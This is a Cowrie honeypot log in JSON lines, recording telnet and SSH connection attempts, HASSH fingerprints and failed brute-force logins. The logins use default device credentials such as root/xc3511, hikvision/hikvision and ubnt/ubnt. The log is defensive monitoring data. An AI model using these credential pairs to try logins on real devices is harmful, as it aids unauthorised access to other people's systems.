{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":304,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"5.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:41.592949Z","src_ip":"176.65.139.121","session":"f566215e136b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.114420175552368,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:41.604598Z","src_ip":"176.65.139.121","session":"f566215e136b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":47802,"dst_ip":"10.17.0.5","dst_port":23,"session":"b89758d25a87","protocol":"telnet","message":"New connection: 176.65.139.121:47802 (10.17.0.5:23) [session: b89758d25a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:41.668919Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:42.589506Z","src_ip":"37.233.85.71","session":"0918872313e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:49.448960Z","src_ip":"176.65.139.121","session":"b89758d25a87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.793556213378906,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:50.462363Z","src_ip":"176.65.139.121","session":"b89758d25a87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":42026,"dst_ip":"10.17.0.5","dst_port":23,"session":"8abe177a4074","protocol":"telnet","message":"New connection: 176.65.139.121:42026 (10.17.0.5:23) [session: 8abe177a4074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:50.579411Z"}
{"eventid":"cowrie.session.closed","duration":2.3885390758514404,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:52.967846Z","src_ip":"176.65.139.121","session":"8abe177a4074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f7059d6e4e5","protocol":"telnet","message":"New connection: 176.65.139.121:42044 (10.17.0.5:23) [session: 9f7059d6e4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:53.046643Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.200.210.83","src_port":39586,"dst_ip":"10.17.0.5","dst_port":23,"session":"494e73ee09b1","protocol":"telnet","message":"New connection: 114.200.210.83:39586 (10.17.0.5:23) [session: 494e73ee09b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:55.602460Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"xc3511","message":"login attempt [root/xc3511] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:59.327915Z","src_ip":"176.65.139.121","session":"9f7059d6e4e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.2871222496032715,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:00.333647Z","src_ip":"176.65.139.121","session":"9f7059d6e4e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50190,"dst_ip":"10.17.0.5","dst_port":23,"session":"afa871e1e72d","protocol":"telnet","message":"New connection: 176.65.139.121:50190 (10.17.0.5:23) [session: afa871e1e72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:00.441142Z"}
{"eventid":"cowrie.session.closed","duration":41.50370526313782,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:00.681258Z","src_ip":"152.42.224.71","session":"545314fa5d3c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hikvision","password":"hikvision","message":"login attempt [hikvision/hikvision] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:08.158179Z","src_ip":"176.65.139.121","session":"afa871e1e72d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.61591386795044,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:09.218250Z","src_ip":"114.200.210.83","session":"494e73ee09b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.098716497421265,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:10.149923Z","src_ip":"152.42.224.71","session":"f4b609d5771b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.228253364562988,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:10.669288Z","src_ip":"176.65.139.121","session":"afa871e1e72d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":40444,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd18b32b660","protocol":"telnet","message":"New connection: 176.65.139.121:40444 (10.17.0.5:23) [session: 6cd18b32b660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:10.752768Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":39060,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e5cba229790","protocol":"ssh","message":"New connection: 103.172.78.219:39060 (159.203.135.109:22) [session: 5e5cba229790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:11.577742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:11.582824Z","src_ip":"103.172.78.219","session":"5e5cba229790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:11.839700Z","src_ip":"103.172.78.219","session":"5e5cba229790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oliver","message":"login attempt [root/oliver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:12.609380Z","src_ip":"103.172.78.219","session":"5e5cba229790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:13.869249Z","src_ip":"103.172.78.219","session":"5e5cba229790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.493358373641968,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:15.246006Z","src_ip":"176.65.139.121","session":"6cd18b32b660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":40466,"dst_ip":"10.17.0.5","dst_port":23,"session":"e12f71d08e57","protocol":"telnet","message":"New connection: 176.65.139.121:40466 (10.17.0.5:23) [session: e12f71d08e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:15.390479Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:21.360201Z","src_ip":"176.65.139.121","session":"e12f71d08e57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.334960460662842,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:23.725312Z","src_ip":"176.65.139.121","session":"e12f71d08e57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":47320,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9ad38d66465","protocol":"telnet","message":"New connection: 176.65.139.121:47320 (10.17.0.5:23) [session: c9ad38d66465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:23.815806Z"}
{"eventid":"cowrie.session.closed","duration":49.423744201660156,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:29.556565Z","src_ip":"152.42.224.71","session":"300a887874f4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:32.501979Z","src_ip":"176.65.139.121","session":"c9ad38d66465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.453410148620605,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:33.289986Z","src_ip":"152.42.224.71","session":"69b4a3e6f163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.692907571792603,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:33.508585Z","src_ip":"176.65.139.121","session":"c9ad38d66465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56104,"dst_ip":"10.17.0.5","dst_port":23,"session":"233d41d39cc3","protocol":"telnet","message":"New connection: 176.65.139.121:56104 (10.17.0.5:23) [session: 233d41d39cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:33.626732Z"}
{"eventid":"cowrie.session.closed","duration":3.562732219696045,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:37.189346Z","src_ip":"176.65.139.121","session":"233d41d39cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":55188,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee930ecc662c","protocol":"telnet","message":"New connection: 176.65.139.121:55188 (10.17.0.5:23) [session: ee930ecc662c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:37.316286Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":55180,"dst_ip":"159.203.135.109","dst_port":22,"session":"df64262232e0","protocol":"ssh","message":"New connection: 103.77.242.62:55180 (159.203.135.109:22) [session: df64262232e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:37.500835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:37.505509Z","src_ip":"103.77.242.62","session":"df64262232e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:37.746215Z","src_ip":"103.77.242.62","session":"df64262232e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hiphop","message":"login attempt [root/hiphop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:38.463124Z","src_ip":"103.77.242.62","session":"df64262232e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.375800609588623,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:39.691912Z","src_ip":"176.65.139.121","session":"ee930ecc662c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:39.704015Z","src_ip":"103.77.242.62","session":"df64262232e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":55200,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df6f0ee61b2","protocol":"telnet","message":"New connection: 176.65.139.121:55200 (10.17.0.5:23) [session: 1df6f0ee61b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:39.770350Z"}
{"eventid":"cowrie.session.closed","duration":2.424267292022705,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:42.194512Z","src_ip":"176.65.139.121","session":"1df6f0ee61b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":55204,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d610463012","protocol":"telnet","message":"New connection: 176.65.139.121:55204 (10.17.0.5:23) [session: 59d610463012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:42.289397Z"}
{"eventid":"cowrie.session.closed","duration":2.407269239425659,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:44.696564Z","src_ip":"176.65.139.121","session":"59d610463012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":55206,"dst_ip":"10.17.0.5","dst_port":23,"session":"078df04dc512","protocol":"telnet","message":"New connection: 176.65.139.121:55206 (10.17.0.5:23) [session: 078df04dc512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:44.805541Z"}
{"eventid":"cowrie.session.closed","duration":2.3966543674468994,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:47.202104Z","src_ip":"176.65.139.121","session":"078df04dc512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":41908,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3950de9ef3a","protocol":"telnet","message":"New connection: 176.65.139.121:41908 (10.17.0.5:23) [session: f3950de9ef3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:47.363544Z"}
{"eventid":"cowrie.session.closed","duration":2.344493865966797,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:49.707935Z","src_ip":"176.65.139.121","session":"f3950de9ef3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":41924,"dst_ip":"10.17.0.5","dst_port":23,"session":"604896a00e52","protocol":"telnet","message":"New connection: 176.65.139.121:41924 (10.17.0.5:23) [session: 604896a00e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:49.802375Z"}
{"eventid":"cowrie.session.closed","duration":2.4140820503234863,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:52.216323Z","src_ip":"176.65.139.121","session":"604896a00e52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":41938,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8f56f8c70a","protocol":"telnet","message":"New connection: 176.65.139.121:41938 (10.17.0.5:23) [session: 9a8f56f8c70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:52.295106Z"}
{"eventid":"cowrie.session.closed","duration":2.423868179321289,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:54.718842Z","src_ip":"176.65.139.121","session":"9a8f56f8c70a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":41958,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3542bea6322","protocol":"telnet","message":"New connection: 176.65.139.121:41958 (10.17.0.5:23) [session: a3542bea6322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:54.804749Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35398,"dst_ip":"10.17.0.5","dst_port":22,"session":"5954e51feb59","protocol":"ssh","message":"New connection: 62.133.62.83:35398 (10.17.0.5:22) [session: 5954e51feb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:55.900661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:55.905649Z","src_ip":"62.133.62.83","session":"5954e51feb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:55.984943Z","src_ip":"62.133.62.83","session":"5954e51feb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41234,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7f0d1439e84","protocol":"ssh","message":"New connection: 193.32.162.145:41234 (10.17.0.5:22) [session: e7f0d1439e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:56.153733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:56.158907Z","src_ip":"193.32.162.145","session":"e7f0d1439e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z0102030405","message":"login attempt [root/z0102030405] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:56.227975Z","src_ip":"62.133.62.83","session":"5954e51feb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:56.272959Z","src_ip":"193.32.162.145","session":"e7f0d1439e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet","message":"login attempt [ubuntu/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:56.587034Z","src_ip":"193.32.162.145","session":"e7f0d1439e84","protocol":"ssh"}
